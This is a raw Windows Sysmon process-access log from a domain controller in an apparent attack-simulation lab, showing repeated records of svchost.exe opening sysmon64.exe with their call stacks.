09:09:35.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001367Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001366Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001365Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001364Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001363Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001362Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001361Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001360Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001359Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001358Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001357Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001356Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001355Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001354Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001353Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001352Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001351Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001350Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001349Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001348Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001347Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001346Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001345Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001344Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 